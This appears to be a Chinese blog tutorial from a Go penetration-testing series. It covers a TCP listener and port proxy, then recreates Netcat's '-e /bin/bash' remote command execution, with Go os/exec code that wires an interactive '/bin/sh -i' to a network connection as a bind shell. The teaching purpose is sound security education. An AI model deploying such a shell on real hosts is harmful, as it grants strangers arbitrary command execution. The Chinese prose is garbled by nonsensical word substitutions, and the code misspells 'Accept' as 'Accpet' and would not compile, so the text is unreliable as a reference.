关于go:Go渗透测试编程三TCP扫描器和代理续

通过上述的流程,咱们就能够简略了解示例程序了

func main() {
    // 在所有接口上绑定TCP端口20080,启动监听服务
    listener, err := net.Listen("tcp", ":20080")
    // 判断监听服务是否启动,否则抛出异样
    if err != nil {
        log.Fatalln("Unable to Bind to port")
    }
    // 打印语句,胜利监听
    log.Println("Listening on localhost:20080")
    // 有限循环,期待客户端进行连贯
    for {
        // 期待连贯,创立与返回net.Conn
        conn, err := listener.Accpet()
        log.Println("Reveived connection")
        if err != nil {
            log.Fatalln("Unable to accept connection")
        }
        // 解决连贯,应用goroutine实现并发
        go handle(conn)
    }
}

代理TCP客户端

func handle(src net.Conn) {
    dst, err := net.Dial("tcp", "targethost:80")
    if err != nil {
        log.Fatalln("Unable to connect to host")
    }
    defer dst.Close()

    go func() {
        // 将源的输入复制到指标
        // io.Copy(dst Writer, src Reader)
        // 将Reader读取到的数据复制到Writer
        if _, err := io.Copy(dst, src); err != nil {
            log.Fatalln(err)
        }
    }()
    // 将指标的输入复制回源
    if _, err := io.Copy(src, dst); err != nil{
        log.Fatalln(err)
    }
}

复现Netcat命令执行

Netcat,命令行网络工具,用来在两台机器之间建设TCP/UDP连贯,相比Telnet更灵便且能够编写脚本

“平安巨洞”

nc -lp port -e /bin/bash
// 命令在port端口创立一个监听器,任何可能通过Telnet连贯的近程客户端都能够执行任意bash命令
// Netcat容许在程序编译期间依据须要增加此性能

Go:os/exec包

能够运行操作系统命令

定义了一种名为Cmd的类型,蕴含运行命令以及操作stdin(Reader)和stdout(Writer)所需的办法和属性

创立实例

// Command(name string, arg...string)
cmd := exec.Command("/bin/sh", "-i")

Reader和Writer赋给Cmd

cmd.Stdin = conn
cmd.Stdout = conn

应用cmd.Run运行命令

if err := cmd.Run(); err != nil {
    // 解决异样
}

io.Pipe()
该函数是Go的同步内存管道,可用于连贯Reader和Writer

func Pipe() (*PipeReader, *PipeWriter)

应用PipeReader和PipeWriter能够防止显示刷新writer并同步连贯stdout和TCP连贯

评论

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

这个站点使用 Akismet 来减少垃圾评论。了解你的评论数据如何被处理